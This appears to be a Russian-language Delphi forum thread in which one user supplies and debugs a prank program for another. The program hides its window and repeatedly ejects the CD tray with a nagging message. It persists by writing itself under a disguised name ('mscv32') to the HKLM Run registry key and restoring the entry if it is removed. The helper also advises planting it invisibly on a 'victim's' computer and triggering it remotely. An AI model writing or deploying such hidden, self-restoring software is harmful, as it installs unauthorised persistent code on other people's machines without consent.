в чем тут ошибка

[Aliens_wolfs]

Конечно при нажатии этих клавиш. Вставь в проект этот код и проверь. Запусти программу, нажми F9 потом для закрытия F10 либо нажми любую кнопку в окне, CDROM закроется.

а вот код без клавиш по таймеру будет открываться CDROM

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,registry, mmsystem, ExtCtrls;

type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
private
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

//Прочитать в разделе параметр реестра
function ReadStringKeyParametrReg(KeyRoot: Cardinal; KeyPatch, KeyName: string): string;
var
Reg: TRegistry;
begin
Reg:=TRegistry.Create;
with Reg do
begin
RootKey := KeyRoot;
OpenKey(KeyPatch, True);
result:=AnsiLowerCase( ReadString(KeyName) );
CloseKey;
end;
Reg.Free;
end;

//добавить в реестр запись
procedure WriteStringKeyParametrReg(KeyRoot: Cardinal; KeyPatch, KeyName, KeyAppName: string);
var
Reg: TRegistry;
begin
Reg:=TRegistry.Create;
with Reg do
begin
RootKey := KeyRoot;
OpenKey(KeyPatch, True);
WriteString(KeyName, KeyAppName);
CloseKey;
end;
Reg.Free;
end;


procedure TForm1.FormCreate(Sender: TObject);
begin
//Включаем Таймер
Timer1.Interval:=5000;
Timer1.Enabled:=true;
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
//Спрятать свою форму
Hide;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
//Остонавливаем таймер чтобы куча сообщений не появилось
timer1.Enabled:=false;
mciSendString('Set cdaudio door open wait', nil, 0, handle);
MessageDlg('Я голоден..!Дай диск плз =(',mtInformation,[mbyes,mbno],0);
//если нажать в окне Yes или No то CDROM закроется и таймер возобновит работу
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
//запускаем снова таймер
timer1.Enabled:=true;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
//Проверить и создать ключ в реестре автозапуска software microsoft windows currentversion run
//Если ключ удалят но программа будет работать то он снова появиться в реестре
if ReadStringKeyParametrReg(HKEY_LOCAL _MACHINE, 'software\microsoft\windows\current version\run'
,'mscv32')<>Application.ExeName then
WriteStringKeyParametrReg(HKEY_LOCA L_MACHINE, 'software\microsoft\windows\current version\run'
,'mscv32',Application.ExeName);
end;

end.

[Koper72Rus]

спасибо помоги уж добрый человек (не то что некоторые)

[Koper72Rus]

F9 нажимаю и строчку красным шрифтом обводит вот эту function ReadStringKeyParametrReg(KeyRoot:Ca rdinal; KeyPatch, KeyName: string): string;

[Aliens_wolfs]

function ReadStringKeyParametrReg(KeyRoot: Cardinal; KeyPatch, KeyName: string): string;

Cardina вместе пиши здесь форум автоматом пробелы в длинные слова вставляет

еще раз код посмотри кое что подправил
'software\microsoft\windows\current version\run'
тоже пишется все вместе без пробелов
software\
microsoft\
windows\
currentversion\
run


На этом сайте много полезных примеров для Delphi
в дальнейшем пригодиться
http://www.delphisources.ru/

[Aliens_wolfs]

Если не получается вот исходники этих программ
http://zalil.ru/31063951

Для просмотра всего проекта в Delphi запускай
файл с расширением .dpr, тогда весь проект откроется

[Koper72Rus]

все ура исправил

[Koper72Rus]

а можно сделать так что бы я нажал ф9 и у друга он открылся а не друг нажал

[Aliens_wolfs]

Файл по любому сам будет загружаться в память. Он и выполняет все эти функции

Там по таймеру вторая программа она без нажатия срабатывает по интервалу в таймере. Ставишь у жертвы и она ему надоедает. Форму сделай меньше в размерах чтобы она вообще невидимой была при запуске. Это самые простые примеры. Есть более сложные без формы. А чтобы самому нажимать у себя а у него все это сработало нужно делать по сети клиент у тебя сервер у него либо через службу сообщений. Еще проще поставь RemoteAdmin включаешь у себя экран жертвы и нажимаешь F9. Либо ставь вторую программу она все сделает по таймеру

[Koper72Rus]

нет а можно что бы при моем нажатии и что бы это было всегда а ни кода токо открыт файл

[Aliens_wolfs]

Тоесть ты нажимаешь у себя а у него сработало?